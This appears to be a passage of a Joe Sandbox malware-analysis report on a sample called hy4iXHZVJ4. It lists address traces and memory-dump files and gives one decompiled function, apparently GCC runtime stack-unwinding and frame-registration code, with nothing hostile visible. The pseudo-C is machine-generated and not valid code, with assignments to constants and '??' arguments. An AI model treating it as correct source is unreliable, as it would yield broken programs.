0x0043a2dd
0x00000000
0x00000000
0x0043a2e4
0x0043a2e4
0x0043a2e6
0x00000000
0x00000000
0x0043a2ed
0x0043a2ed
0x0043a2ef
0x00000000
0x00000000
0x0043a2f6
0x0043a2f6
0x0043a2f8
0x00000000
0x00000000
0x0043a2ff
0x0043a2ff
0x0043a301
0x00000000
0x00000000
0x0043a308
0x0043a308
0x0043a30a
0x00000000
0x00000000
0x0043a311
0x0043a311
0x0043a313
0x0043a315
0x0043a317
0x0043a31a
0x00000000
0x00000000
0x0043a321
0x0043a321
0x0043a323
0x0043a325
0x0043a327
0x0043a32a
0x00000000
0x00000000
0x0043a331
0x0043a331
0x0043a333
0x0043a335
0x0043a337
0x0043a33a
0x00000000
0x00000000
0x0043a341
0x0043a341
0x0043a343
0x0043a345
0x0043a347
0x0043a34a
0x00000000
0x00000000
0x0043a351
0x0043a351
0x0043a353
0x0043a355
0x0043a357
0x0043a35a
0x00000000
0x00000000
0x0043a361
0x0043a361
0x0043a363
0x0043a365
0x0043a367
0x0043a36a
0x00000000
0x00000000
0x00439d47
0x00000000
0x00439d3e
0x00439d7a
0x00439d7a
0x00439d80
0x00000000
0x00439d86
0x00439d86
0x00439d86
0x00439d8a
0x00439d90
0x00439d91
0x00439d92
0x00439d93
0x00439d94
0x00439d94
0x00000000
0x00439d80
0x00000000
0x00000000
0x00000000
0x00000000
0x0043a0e6
0x0043a0df
0x00000000
0x0043a0c7

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49c562b4d51948fecd838fc95bf7604006d8475dcabf9e415ee5d13d51db536e
Instruction ID: bab2ac6fccecc9770421c389d89feb3e173caf5b4e3b51af67b64a4f6bf1d550
Opcode Fuzzy Hash: 49c562b4d51948fecd838fc95bf7604006d8475dcabf9e415ee5d13d51db536e
Instruction Fuzzy Hash: C101BD714486710BF7185F39C49133AAAD29B87398F08546FE9D28B343C52E880B962F

Uniqueness

Uniqueness Score: -1.00%

Function 0043A100 Relevance: 21.0, APIs: 14, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 23%

			E0043A100(void* __esi, char _a1, signed int _a20, intOrPtr _a24, signed int _a28, signed int _a44) {
				char _v1;
				void* _v16;
				char* _v40;
				struct HINSTANCE__* _t189;
				struct HINSTANCE__* _t192;
				_Unknown_base(*)()* _t193;
				CHAR* _t195;
				struct HINSTANCE__* _t197;
				void* _t201;
				_Unknown_base(*)()* _t202;
				void* _t207;
				char** _t208;
				char** _t209;
				struct HINSTANCE__** _t211;
				struct HINSTANCE__** _t212;

				L0:
				while(1) {
					L0:
					_t201 = __esi;
					if(_a20 == 0) {
						break;
					}
					L83:
					__eax = __eax - 1;
					__edi = __eax;
					_a20 = __eax;
					__eax = __esi + 3;
					if( *(__esp + 0x30 + __edi * 4) == 0) {
						__esi = __eax;
					} else {
						__esi =  *(__esi + 1);
						__esi = __esi + __eax;
					}
					while(1) {
						L12:
						if(_a24 <= __esi) {
							break;
						}
						L7:
						__eax =  *__esi & 0x000000ff;
						__ecx = __eax - 3;
						if(__cl > 0xee) {
							L96:
							abort();
							goto L97;
						} else {
							L8:
							__ecx = __cl & 0x000000ff;
							switch( *((intOrPtr*)(__ecx * 4 +  &M00511DB0))) {
								case 0:
									L9:
									__ebp = _a20;
									__edi =  *(__esi + 1);
									__esi = __esi + 5;
									__eflags = __esi;
									goto L10;
								case 1:
									goto L96;
								case 2:
									L22:
									__eax = _a20;
									__eflags = __eax;
									if(__eax == 0) {
										goto L129;
									} else {
										L23:
										__ebp = __eax;
										__ebp =  &_v1;
										__edi =  *(__esp + 0x30 + __ebp * 4);
										__eflags = __dl - 0x1f;
										if(__eflags == 0) {
											L110:
											__edi =  ~__edi;
											__esi = __ebx;
										} else {
											L24:
											if(__eflags <= 0) {
												L97:
												__eflags = __dl - 6;
												if(__dl != 6) {
													L99:
													__eflags = __dl - 0x19;
													if(__dl != 0x19) {
														goto L96;
													} else {
														L100:
														__eax = __edi;
														__esi = __ebx;
														__eax = __edi >> 0x1f;
														__edi = __edi ^ __eax;
														__edi = __edi - __eax;
													}
												} else {
													L98:
													__edi =  *__edi;
													__esi = __ebx;
												}
											} else {
												L25:
												__eflags = __dl - 0x23;
												if(__dl == 0x23) {
													L102:
													__esi = 0;
													__ecx = 0;
													__eflags = 0;
													do {
														L103:
														__ebx = __ebx + 1;
														__edx =  *(__ebx - 1) & 0x000000ff;
														 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
														__eax = ( *(__ebx - 1) & 0x7f) << __cl;
														__ecx = __ecx + 7;
														__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
														__eflags = __dl;
													} while (__dl < 0);
													__edi = __edi + __esi;
													__esi = __ebx;
												} else {
													L26:
													__eflags = __dl - 0x94;
													if(__dl != 0x94) {
														L95:
														__eflags = __dl - 0x20;
														if(__dl == 0x20) {
															L109:
															__edi =  !__edi;
															__esi = __ebx;
														} else {
															goto L96;
														}
													} else {
														L27:
														__eax =  *(__esi + 1) & 0x000000ff;
														__edx = __esi + 2;
														__eflags = __al - 2;
														if(__eflags == 0) {
															L128:
															__edi =  *__edi & 0x0000ffff;
															__esi = __edx;
														} else {
															L28:
															if(__eflags <= 0) {
																L107:
																__eflags = __al - 1;
																if(__al != 1) {
																	goto L96;
																} else {
																	L108:
																	__edi =  *__edi & 0x000000ff;
																	__esi = __edx;
																}
															} else {
																L29:
																__eflags = __al - 4;
																if(__al == 4) {
																	L31:
																	__edi =  *__edi;
																	__esi = __edx;
																} else {
																	L30:
																	__eflags = __al - 8;
																	if(__al != 8) {
																		goto L96;
																	} else {
																		goto L31;
																	}
																}
															}
														}
													}
												}
											}
										}
										goto L10;
									}
									goto L141;
								case 3:
									L21:
									__edi =  *(__esi + 1) & 0x000000ff;
									__ebp = _a20;
									__esi = __esi + 2;
									goto L10;
								case 4:
									L20:
									__edi =  *(__esi + 1);
									__ebp = _a20;
									__esi = __esi + 2;
									goto L10;
								case 5:
									L19:
									__edi =  *(__esi + 1) & 0x0000ffff;
									__ebp = _a20;
									__esi = __esi + 3;
									goto L10;
								case 6:
									L18:
									__edi =  *(__esi + 1);
									__ebp = _a20;
									__esi = __esi + 3;
									goto L10;
								case 7:
									L16:
									__edi =  *(__esi + 1);
									__ebp = _a20;
									__esi = __esi + 9;
									goto L10;
								case 8:
									L68:
									__esi = __ebx;
									__edi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										L69:
										__esi = __esi + 1;
										__edx =  *(__esi - 1) & 0x000000ff;
										 *(__esi - 1) & 0x000000ff =  *(__esi - 1) & 0x7f;
										__eax = ( *(__esi - 1) & 0x7f) << __cl;
										__ecx = __ecx + 7;
										__edi = __edi | ( *(__esi - 1) & 0x7f) << __cl;
										__eflags = __dl;
									} while (__dl < 0);
									__ebp = _a20;
									goto L10;
								case 9:
									L63:
									__edi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										L64:
										__ebx = __ebx + 1;
										__edx =  *(__ebx - 1) & 0x000000ff;
										__edx = __edx & 0x0000007f;
										__eax = (__edx & 0x0000007f) << __cl;
										__ecx = __ecx + 7;
										__edi = __edi | (__edx & 0x0000007f) << __cl;
										__eflags = __dl;
									} while (__dl < 0);
									__eflags = __ecx - 0x1f;
									if(__ecx > 0x1f) {
										goto L94;
									} else {
										L66:
										__edx = __edx & 0x00000040;
										__eflags = __edx;
										if(__edx == 0) {
											goto L94;
										} else {
											L67:
											__eax = 1;
											__ebp = _a20;
											__esi = __ebx;
											1 << __cl =  ~(1 << __cl);
											__edi = __edi |  ~(1 << __cl);
										}
									}
									goto L10;
								case 0xa:
									L61:
									__ebp = _a20;
									__eflags = __ebp;
									if(__ebp == 0) {
										goto L129;
									} else {
										L62:
										__edi =  *(__esp + 0x2c + __ebp * 4);
										__esi = __ebx;
										goto L10;
									}
									goto L141;
								case 0xb:
									L59:
									__eax = _a20;
									__eflags = __eax;
									if(__eax == 0) {
										goto L129;
									} else {
										L60:
										__eax = __eax - 1;
										__esi = __ebx;
										_a20 = __eax;
										goto L12;
									}
									goto L141;
								case 0xc:
									L57:
									__ebp = _a20;
									__eflags = __ebp - 1;
									if(__ebp <= 1) {
										goto L129;
									} else {
										L58:
										__edi =  *(__esp + 0x28 + __ebp * 4);
										__esi = __ebx;
										goto L10;
									}
									goto L141;
								case 0xd:
									L55:
									__ebp = _a20;
									__ecx =  *(__esi + 1) & 0x000000ff;
									__edx = __esi + 2;
									__eax =  &_v1;
									__eflags = __ecx - __eax;
									if(__ecx >= __eax) {
										goto L129;
									} else {
										L56:
										__eax = __eax - __ecx;
										__esi = __edx;
										__edi =  *(__esp + 0x30 + __eax * 4);
										goto L10;
									}
									goto L141;
								case 0xe:
									L89:
									__eax = _a20;
									__eflags = __eax - 1;
									if(__eax <= 1) {
										goto L129;
									} else {
										L90:
										__edx = __eax - 1;
										__eax = __eax - 2;
										__esi =  *(__esp + 0x30 + __eax * 4);
										__ecx =  *(__esp + 0x30 + __edx * 4);
										 *(__esp + 0x30 + __edx * 4) =  *(__esp + 0x30 + __eax * 4);
										__esi = __ebx;
										 *(__esp + 0x30 + __eax * 4) =  *(__esp + 0x30 + __edx * 4);
										goto L12;
									}
									goto L141;
								case 0xf:
									L87:
									__eax = _a20;
									__eflags = __eax - 2;
									if(__eax <= 2) {
										goto L129;
									} else {
										L88:
										__ecx = __eax - 1;
										__edx = __eax - 2;
										__eax = __eax - 3;
										__esi =  *(__esp + 0x30 + __ecx * 4);
										__ebp =  *(__esp + 0x30 + __edx * 4);
										__edi =  *(__esp + 0x30 + __eax * 4);
										 *(__esp + 0x30 + __ecx * 4) = __ebp;
										 *(__esp + 0x30 + __edx * 4) = __edi;
										 *(__esp + 0x30 + __eax * 4) =  *(__esp + 0x30 + __ecx * 4);
										__esi = __ebx;
										goto L12;
									}
									goto L141;
								case 0x10:
									L91:
									__eax = _a20;
									__eflags = __eax - 1;
									if(__eax <= 1) {
										goto L129;
									} else {
										L92:
										__ebp = __eax - 2;
										__edx = __edx - 0x1a;
										__ecx =  *(__esp + 0x2c + __eax * 4);
										__edi =  *(__esp + 0x30 + __ebp * 4);
										__eflags = __dl - 0x14;
										if(__dl > 0x14) {
											goto L96;
										} else {
											L93:
											__edx = __dl & 0x000000ff;
											switch( *((intOrPtr*)((__dl & 0x000000ff) * 4 +  &M0051216C))) {
												case 0:
													goto L111;
												case 1:
													goto L112;
												case 2:
													goto L113;
												case 3:
													goto L114;
												case 4:
													goto L115;
												case 5:
													goto L96;
												case 6:
													goto L116;
												case 7:
													goto L117;
												case 8:
													goto L118;
												case 9:
													goto L119;
												case 0xa:
													goto L120;
												case 0xb:
													goto L121;
												case 0xc:
													goto L122;
												case 0xd:
													goto L123;
												case 0xe:
													goto L124;
												case 0xf:
													goto L125;
												case 0x10:
													goto L126;
												case 0x11:
													goto L127;
											}
										}
										goto L10;
									}
									goto L141;
								case 0x11:
									goto L0;
								case 0x12:
									L86:
									__eax =  *(__esi + 1);
									__esi = __esi +  *(__esi + 1) + 3;
									goto L12;
								case 0x13:
									L85:
									__edi = __eax - 0x30;
									__ebp = _a20;
									__esi = __ebx;
									goto L10;
								case 0x14:
									L50:
									__eax = __eax - 0x50;
									__eflags = __eax - 0x11;
									if(__eax > 0x11) {
										goto L129;
									} else {
										L51:
										__esi = _a28;
										__edx =  *(__eax + 0x5563f4) & 0x000000ff;
										__edi =  *(__esi + __eax * 4);
										__eflags =  *(__esi + 0x63) & 0x00000040;
										if(( *(__esi + 0x63) & 0x00000040) == 0) {
											L53:
											__eflags = __dl - 4;
											if(__dl == 4) {
												goto L39;
											} else {
												L54:
												goto L129;
											}
										} else {
											L52:
											__eflags =  *((char*)(__esi + __eax + 0x6c));
											if( *((char*)(__esi + __eax + 0x6c)) != 0) {
												goto L94;
											} else {
												goto L53;
											}
										}
									}
									goto L141;
								case 0x15:
									L40:
									__ebp = 0;
									__ecx = 0;
									__eflags = 0;
									__esi = __eax;
									do {
										L41:
										__ebx = __ebx + 1;
										__eax =  *(__ebx - 1) & 0x000000ff;
										__eax = __eax & 0x0000007f;
										__edx = (__eax & 0x0000007f) << __cl;
										__ecx = __ecx + 7;
										__ebp = __ebp | (__eax & 0x0000007f) << __cl;
										__eflags = __al;
									} while (__al < 0);
									__edi = __eax;
									__eax = __esi;
									__esi = __edi;
									__eflags = __ecx - 0x1f;
									if(__ecx <= 0x1f) {
										__esi = __esi & 0x00000040;
										__eflags = __esi;
										if(__esi != 0) {
											1 = 1 << __cl;
											__edx =  ~(1 << __cl);
											__ebp = __ebp |  ~(1 << __cl);
										}
									}
									__eax = __eax - 0x70;
									__eflags = __eax - 0x11;
									if(__eax > 0x11) {
										goto L129;
									} else {
										L45:
										__esi = _a28;
										__edx =  *(__eax + 0x5563f4) & 0x000000ff;
										__edi =  *(__esi + __eax * 4);
										__eflags =  *(__esi + 0x63) & 0x00000040;
										if(( *(__esi + 0x63) & 0x00000040) == 0) {
											L47:
											__eflags = __dl - 4;
											if(__dl != 4) {
												goto L129;
											} else {
												L48:
												__edi =  *__edi;
												goto L49;
											}
										} else {
											L46:
											__eflags =  *((char*)(__esi + __eax + 0x6c));
											if( *((char*)(__esi + __eax + 0x6c)) != 0) {
												L49:
												__edi = __edi + __ebp;
												__esi = __ebx;
												__ebp = _a20;
												goto L10;
											} else {
												goto L47;
											}
										}
									}
									goto L141;
								case 0x16:
									L33:
									__esi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										L34:
										__ebx = __ebx + 1;
										__edx =  *(__ebx - 1) & 0x000000ff;
										 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
										__eax = ( *(__ebx - 1) & 0x7f) << __cl;
										__ecx = __ecx + 7;
										__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
										__eflags = __dl;
									} while (__dl < 0);
									__eflags = __esi - 0x11;
									if(__esi > 0x11) {
										goto L129;
									} else {
										L36:
										__ecx = _a28;
										__eax =  *(__esi + 0x5563f4) & 0x000000ff;
										__edi =  *(__ecx + __esi * 4);
										__eflags =  *(__ecx + 0x63) & 0x00000040;
										if(( *(__ecx + 0x63) & 0x00000040) == 0) {
											L38:
											__eflags = __al - 4;
											if(__al != 4) {
												goto L129;
											} else {
												L39:
												__edi =  *__edi;
												__ebp = _a20;
												__esi = __ebx;
												goto L10;
											}
										} else {
											L37:
											__eflags =  *((char*)(__ecx + __esi + 0x6c));
											if( *((char*)(__ecx + __esi + 0x6c)) != 0) {
												L94:
												__ebp = _a20;
												__esi = __ebx;
												goto L10;
											} else {
												goto L38;
											}
										}
									}
									goto L141;
								case 0x17:
									L71:
									__esi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										L72:
										__ebx = __ebx + 1;
										__edx =  *(__ebx - 1) & 0x000000ff;
										 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
										__eax = ( *(__ebx - 1) & 0x7f) << __cl;
										__ecx = __ecx + 7;
										__esi = __esi | ( *(__ebx - 1) & 0x7f) << __cl;
										__eflags = __dl;
									} while (__dl < 0);
									__edi = 0;
									__ecx = 0;
									__eflags = 0;
									do {
										L74:
										__ebx = __ebx + 1;
										__eax =  *(__ebx - 1) & 0x000000ff;
										 *(__ebx - 1) & 0x000000ff =  *(__ebx - 1) & 0x7f;
										__edx = ( *(__ebx - 1) & 0x7f) << __cl;
										__ecx = __ecx + 7;
										__edi = __edi | ( *(__ebx - 1) & 0x7f) << __cl;
										__eflags = __al;
									} while (__al < 0);
									__eflags = __ecx - 0x1f;
									if(__ecx <= 0x1f) {
										__eflags = __al & 0x00000040;
										if((__al & 0x00000040) != 0) {
											1 = 1 << __cl;
											__eax =  ~(1 << __cl);
											__edi = __edi |  ~(1 << __cl);
										}
									}
									__eflags = __esi - 0x11;
									if(__esi > 0x11) {
										goto L129;
									} else {
										L78:
										__ecx = _a28;
										__edx =  *(__esi + 0x5563f4) & 0x000000ff;
										__eax =  *(__ecx + __esi * 4);
										__eflags =  *(__ecx + 0x63) & 0x00000040;
										if(( *(__ecx + 0x63) & 0x00000040) == 0) {
											L80:
											__eflags = __dl - 4;
											if(__dl != 4) {
												goto L129;
											} else {
												L81:
												__eax =  *__eax;
												goto L82;
											}
										} else {
											L79:
											__eflags =  *((char*)(__ecx + __esi + 0x6c));
											if( *((char*)(__ecx + __esi + 0x6c)) != 0) {
												L82:
												__edi = __edi + __eax;
												__ebp = _a20;
												__esi = __ebx;
												goto L10;
											} else {
												goto L80;
											}
										}
									}
									goto L141;
								case 0x18:
									L17:
									__esi = __ebx;
									goto L12;
								case 0x19:
									L32:
									__ebx =  *(__esi + 1) & 0x000000ff;
									__edx = _a28;
									__edi =  &_a44;
									__eax = __ebx;
									__eax = L00438E40(__ebx, __ecx, _a28);
									 *__esp =  &_a44;
									__ecx = __esi + 2;
									__edx = __eax;
									__eax = __ebx;
									__eax = L00438D00(__ebx, __esi + 2, __edx);
									__edi = _a44;
									__ebp = _a20;
									__esi = __eax;
									goto L10;
								case 0x1a:
									L111:
									__edi = __edi & __ecx;
									__esi = __ebx;
									goto L10;
								case 0x1b:
									L112:
									__eax = __edi;
									__esi = __ebx;
									asm("cdq");
									_t169 = __eax % __ecx;
									__eax = __eax / __ecx;
									__edx = _t169;
									__edi = __eax;
									goto L10;
								case 0x1c:
									L113:
									__edi = __edi - __ecx;
									__esi = __ebx;
									goto L10;
								case 0x1d:
									L114:
									__eax = __edi;
									__edx = 0;
									__esi = __ebx;
									_t173 = __eax % __ecx;
									__eax = __eax / __ecx;
									__edx = _t173;
									__edi = _t173;
									goto L10;
								case 0x1e:
									L115:
									__edi = __edi * __ecx;
									__esi = __ebx;
									goto L10;
								case 0x1f:
									L116:
									__edi = __edi | __ecx;
									__esi = __ebx;
									goto L10;
								case 0x20:
									L117:
									__edi = __edi + __ecx;
									__esi = __ebx;
									goto L10;
								case 0x21:
									L118:
									__edi = __edi << __cl;
									__esi = __ebx;
									goto L10;
								case 0x22:
									L119:
									__edi = __edi >> __cl;
									__esi = __ebx;
									goto L10;
								case 0x23:
									L120:
									__edi = __edi >> __cl;
									__esi = __ebx;
									goto L10;
								case 0x24:
									L121:
									__edi = __edi ^ __ecx;
									__esi = __ebx;
									goto L10;
								case 0x25:
									L122:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags == 0x00000000;
									__edi = __eflags == 0;
									goto L10;
								case 0x26:
									L123:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags >= 0x00000000;
									__edi = __eflags >= 0;
									goto L10;
								case 0x27:
									L124:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags > 0x00000000;
									__edi = __eflags > 0;
									goto L10;
								case 0x28:
									L125:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags <= 0x00000000;
									__edi = __eflags <= 0;
									goto L10;
								case 0x29:
									L126:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags < 0x00000000;
									__edi = __eflags < 0;
									goto L10;
								case 0x2a:
									L127:
									__eax = 0;
									__eflags = __edi - __ecx;
									__esi = __ebx;
									__eax = 0 | __eflags != 0x00000000;
									__edi = __eflags != 0;
									L10:
									__eflags = __ebp - 0x3f;
									if(__ebp > 0x3f) {
										goto L129;
									} else {
										L11:
										__eax =  &_a1;
										 *(__esp + 0x30 + __ebp * 4) = __edi;
										_a20 =  &_a1;
										goto L12;
									}
									goto L141;
							}
						}
						L141:
					}
					L13:
					__eax = _a20;
					if(__eax == 0) {
						break;
					} else {
						L14:
						__eax =  *(__esp + 0x2c + __eax * 4);
						__esp = __esp + 0x13c;
						_pop(__esi);
						_pop(__edi);
						return __eax;
					}
					goto L141;
				}
				L129:
				abort();
				L004476B0();
				abort();
				L004476B0();
				L004476B0();
				L004476B0();
				L004476B0();
				L004476B0();
				abort();
				abort();
				abort();
				abort();
				abort();
				abort();
				_push(_t201);
				_t208 = _t207 - 0x1c;
				 *_t208 = "libgcc_s_dw2-1.dll";
				_t189 = GetModuleHandleA(_t195);
				_t209 = _t208 - 4;
				if(_t189 == 0) {
					 *0x4ce004 = 0x43c7d0;
					_t202 = E0043C580;
				} else {
					_t197 = _t189;
					 *_t209 = "libgcc_s_dw2-1.dll";
					_t192 = LoadLibraryA(??);
					_t211 = _t209 - 4;
					 *0x556df0 = _t192;
					_v40 = "__register_frame_info";
					 *_t211 = _t197;
					_t193 = GetProcAddress(??, ??);
					_t212 = _t211 - 8;
					_t202 = _t193;
					_v40 = "__deregister_frame_info";
					 *_t212 = _t197;
					 *0x4ce004 = GetProcAddress(??, ??);
					_t209 = _t212 - 8;
				}
				if(_t202 != 0) {
					_v40 = 0x55601c;
					 *_t209 = 0x5190f8;
					 *_t202();
				}
				 *_t209 = 0x401590;
				return E004014C0();
				goto L141;
			}

0x0043a100
0x0043a100
0x0043a100
0x0043a100
0x0043a106
0x00000000
0x00000000
0x0043a10c
0x0043a10c
0x0043a10f
0x0043a111
0x0043a115
0x0043a11e
0x0043a225
0x0043a124
0x0043a124
0x0043a128
0x0043a128
0x00439d74
0x00439d74
0x00439d78
0x00000000
0x00000000
0x00439d30
0x00439d30
0x00439d36
0x00439d3e
0x0043a1f9
0x0043a1f9
0x00000000
0x00439d44
0x00439d44
0x00439d44
0x00439d47
0x00000000
0x00439d50
0x00439d50
0x00439d54
0x00439d57
0x00439d57
0x00000000
0x00000000
0x00000000
0x00000000
0x00439de0
0x00439de0
0x00439de4
0x00439de6
0x00000000
0x00439dec
0x00439dec
0x00439dec
0x00439dee
0x00439df1
0x00439df5
0x00439df8
0x0043a299
0x0043a299
0x0043a29b
0x00439dfe
0x00439dfe
0x00439dfe
0x0043a200
0x0043a200
0x0043a203
0x0043a210
0x0043a210
0x0043a213
0x00000000
0x0043a215
0x0043a215
0x0043a215
0x0043a217
0x0043a219
0x0043a21c
0x0043a21e
0x0043a21e
0x0043a205
0x0043a205
0x0043a205
0x0043a207
0x0043a207
0x00439e04
0x00439e04
0x00439e04
0x00439e07
0x0043a230
0x0043a230
0x0043a232
0x0043a232
0x0043a234
0x0043a234
0x0043a234
0x0043a237
0x0043a23d
0x0043a240
0x0043a242
0x0043a245
0x0043a247
0x0043a247
0x0043a24b
0x0043a24d
0x00439e0d
0x00439e0d
0x00439e0d
0x00439e10
0x0043a1f0
0x0043a1f0
0x0043a1f3
0x0043a290
0x0043a290
0x0043a292
0x00000000
0x00000000
0x00000000
0x00439e16
0x00439e16
0x00439e16
0x00439e1a
0x00439e1d
0x00439e1f
0x0043a371
0x0043a371
0x0043a374
0x00439e25
0x00439e25
0x00439e25
0x0043a274
0x0043a274
0x0043a276
0x00000000
0x0043a27c
0x0043a27c
0x0043a27c
0x0043a27f
0x0043a27f
0x00439e2b
0x00439e2b
0x00439e2b
0x00439e2d
0x00439e37
0x00439e37
0x00439e39
0x00439e2f
0x00439e2f
0x00439e2f
0x00439e31
0x00000000
0x00000000
0x00000000
0x00000000
0x00439e31
0x00439e2d
0x00439e25
0x00439e1f
0x00439e10
0x00439e07
0x00439dfe
0x00000000
0x00439df8
0x00000000
0x00000000
0x00439dd0
0x00439dd0
0x00439dd4
0x00439dd8
0x00000000
0x00000000
0x00439dc0
0x00439dc0
0x00439dc4
0x00439dc8
0x00000000
0x00000000
0x00439db2
0x00439db2
0x00439db6
0x00439dba
0x00000000
0x00000000
0x00439da5
0x00439da5
0x00439da9
0x00439dad
0x00000000
0x00000000
0x00439d95
0x00439d95
0x00439d98
0x00439d9c
0x00000000
0x00000000
0x0043a053
0x0043a053
0x0043a055
0x0043a057
0x0043a057
0x0043a060
0x0043a060
0x0043a060
0x0043a063
0x0043a069
0x0043a06c
0x0043a06e
0x0043a071
0x0043a073
0x0043a073
0x0043a077
0x00000000
0x00000000
0x0043a010
0x0043a010
0x0043a012
0x0043a012
0x0043a014
0x0043a014
0x0043a014
0x0043a017
0x0043a01d
0x0043a020
0x0043a022
0x0043a025
0x0043a027
0x0043a027
0x0043a02b
0x0043a02e
0x00000000
0x0043a034
0x0043a034
0x0043a034
0x0043a034
0x0043a037
0x00000000
0x0043a03d
0x0043a03d
0x0043a03d
0x0043a042
0x0043a046
0x0043a04a
0x0043a04c
0x0043a04c
0x0043a037
0x00000000
0x00000000
0x00439ff0
0x00439ff0
0x00439ff4
0x00439ff6
0x00000000
0x00439ffc
0x00439ffc
0x00439ffc
0x0043a000
0x00000000
0x0043a000
0x00000000
0x00000000
0x00439fd0
0x00439fd0
0x00439fd4
0x00439fd6
0x00000000
0x00439fdc
0x00439fdc
0x00439fdc
0x00439fdf
0x00439fe1
0x00000000
0x00439fe1
0x00000000
0x00000000
0x00439fb3
0x00439fb3
0x00439fb7
0x00439fba
0x00000000
0x00439fc0
0x00439fc0
0x00439fc0
0x00439fc4
0x00000000
0x00439fc4
0x00000000
0x00000000
0x00439f90
0x00439f90
0x00439f94
0x00439f98
0x00439f9b
0x00439f9e
0x00439fa0
0x00000000
0x00439fa6
0x00439fa6
0x00439fa6
0x00439fa8
0x00439faa
0x00000000
0x00439faa
0x00000000
0x00000000
0x0043a185
0x0043a185
0x0043a189
0x0043a18c
0x00000000
0x0043a192
0x0043a192
0x0043a192
0x0043a195
0x0043a198
0x0043a19c
0x0043a1a0
0x0043a1a4
0x0043a1a6
0x00000000
0x0043a1a6
0x00000000
0x00000000
0x0043a150
0x0043a150
0x0043a154
0x0043a157
0x00000000
0x0043a15d
0x0043a15d
0x0043a15d
0x0043a160
0x0043a163
0x0043a166
0x0043a16a
0x0043a16e
0x0043a172
0x0043a176
0x0043a17a
0x0043a17e
0x00000000
0x0043a17e
0x00000000
0x00000000
0x0043a1b0
0x0043a1b0
0x0043a1b4
0x0043a1b7
0x00000000
0x0043a1bd
0x0043a1bd
0x0043a1bd
0x0043a1c0
0x0043a1c3
0x0043a1c7
0x0043a1cb
0x0043a1ce
0x00000000
0x0043a1d0
0x0043a1d0
0x0043a1d0
0x0043a1d3
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0043a1d3
0x00000000
0x0043a1ce
0x00000000
0x00000000
0x00000000
0x00000000
0x0043a140
0x0043a140
0x0043a144
0x00000000
0x00000000
0x0043a130
0x0043a130
0x0043a133
0x0043a137
0x00000000
0x00000000
0x00439f50
0x00439f50
0x00439f53
0x00439f56
0x00000000
0x00439f5c
0x00439f5c
0x00439f5c
0x00439f60
0x00439f67
0x00439f6a
0x00439f6e
0x00439f7b
0x00439f7b
0x00439f7e
0x00000000
0x00439f84
0x00439f84
0x00000000
0x00439f84
0x00439f70
0x00439f70
0x00439f70
0x00439f75
0x00000000
0x00000000
0x00000000
0x00000000
0x00439f75
0x00439f6e
0x00000000
0x00000000
0x00439ed0
0x00439ed0
0x00439ed2
0x00439ed2
0x00439ed4
0x00439ee0
0x00439ee0
0x00439ee0
0x00439ee3
0x00439ee9
0x00439eec
0x00439eee
0x00439ef1
0x00439ef3
0x00439ef3
0x00439ef7
0x00439ef9
0x00439efb
0x00439efd
0x00439f00
0x00439f02
0x00439f02
0x00439f05
0x0043a269
0x0043a26b
0x0043a26d
0x0043a26d
0x00439f05
0x00439f0b
0x00439f0e
0x00439f11
0x00000000
0x00439f17
0x00439f17
0x00439f17
0x00439f1b
0x00439f22
0x00439f25
0x00439f29
0x00439f32
0x00439f32
0x00439f35
0x00000000
0x00439f3b
0x00439f3b
0x00439f3b
0x00000000
0x00439f3b
0x00439f2b
0x00439f2b
0x00439f2b
0x00439f30
0x00439f3d
0x00439f3d
0x00439f3f
0x00439f41
0x00000000
0x00000000
0x00000000
0x00000000
0x00439f30
0x00439f29
0x00000000
0x00000000
0x00439e71
0x00439e71
0x00439e73
0x00439e73
0x00439e75
0x00439e75
0x00439e75
0x00439e78
0x00439e7e
0x00439e81
0x00439e83
0x00439e86
0x00439e88
0x00439e88
0x00439e8c
0x00439e8f
0x00000000
0x00439e95
0x00439e95
0x00439e95
0x00439e99
0x00439ea0
0x00439ea3
0x00439ea7
0x00439eb4
0x00439eb4
0x00439eb6
0x00000000
0x00439ebc
0x00439ebc
0x00439ebc
